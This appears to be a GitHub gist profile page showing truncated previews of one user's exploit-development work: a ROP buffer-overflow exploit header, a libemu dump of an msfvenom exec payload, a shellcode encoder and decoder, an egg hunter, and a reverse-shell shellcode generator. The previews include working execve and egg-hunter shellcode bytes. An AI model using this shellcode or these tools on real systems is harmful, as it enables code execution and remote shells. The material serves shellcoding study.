Skip to content

Instantly share code, notes, and snippets.

View AdityaChaudhary's full-sized avatar

Aditya Chaudhary AdityaChaudhary

View GitHub Profile
@AdityaChaudhary
AdityaChaudhary / teleporter_exploit.sh
Created July 26, 2020 01:48
Teleporter Linux x64 binary buffer overflow ROP chain exploit
#!/usr/bin/python3
from pwn import *
import time, sys
#Setup the binary
elf = context.binary = ELF('./teleporter')
#Enable logging
#context.log_level = 'debug'
32bit
set disassembly-flavor intel
define hook-stop
info registers
x/24wx $esp
x/5i $eip
end
alert(1);
@AdityaChaudhary
AdityaChaudhary / linux_x86_exec_dump
Created February 7, 2019 10:08
MSFvenom linux/x86/exec Libemu sctool dump
graph file linux_x86_exec.dot
verbose = 3
[emu 0x0x9e08090 debug ] cpu state eip=0x00417000
[emu 0x0x9e08090 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9e08090 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9e08090 debug ] Flags:
[emu 0x0x9e08090 debug ] cpu state eip=0x00417000
[emu 0x0x9e08090 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9e08090 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9e08090 debug ] Flags:
@AdityaChaudhary
AdityaChaudhary / decoder_execve_stack.asm
Last active February 5, 2019 09:02
Assembly Decoder for random insertion encoded shellcodes
; Decoder Execve Stack Shellcode
; Author: Aditya Chaudhary
; Date: 5th Feb 2019
global _start
section .text
_start:
@AdityaChaudhary
AdityaChaudhary / Insertion-Encoder.py
Last active February 5, 2019 09:00
Python script to Encode the assembly shellcode
#!/usr/bin/python
# Python Random Insertion Encoder
# Author: Aditya Chaudhary
# Date: 5th Feb 2019
import random
shellcode = ("\x31\xc0\x50\x89\xe2\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
@AdityaChaudhary
AdityaChaudhary / execve_stack.asm
Last active February 5, 2019 05:06
Spawn shell using execve-stack
; Execve Stack Shellcode
; Author: Aditya Chaudhary
; Date: 27th Jan 2019
global _start
section .text
_start:
@AdityaChaudhary
AdityaChaudhary / shellcode_egg_hunter.c
Created January 20, 2019 15:29
C program to test the Egg Hunter shellcode
#include<stdio.h>
#include<string.h>
#define EGG "\x90\x50\x90\x50"
unsigned char egghunter[] = \
"\x31\xc0\x89\xc7\xbf"
EGG
"\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2";
@AdityaChaudhary
AdityaChaudhary / egg_hunter.asm
Last active October 27, 2022 05:22
Linux/x86 Egg Hunter
; Egg Hunter
; Author: Aditya Chaudhary
; Date: 20th Jan 2019
global _start
section .text
@AdityaChaudhary
AdityaChaudhary / shellcode_rev_gen.py
Last active January 7, 2019 19:39
Linux/x86 Reverse Shellcode Generator
# Python Reverse Shellcode Generator
# Paste the reverse shell code and use command line args to provide port number
# python shellcode_rev_gen.py 127.1.1.1 7777
#!/bin/python
import sys
import struct
if (len(sys.argv) < 3):
print "[#] Error: Please provide port number"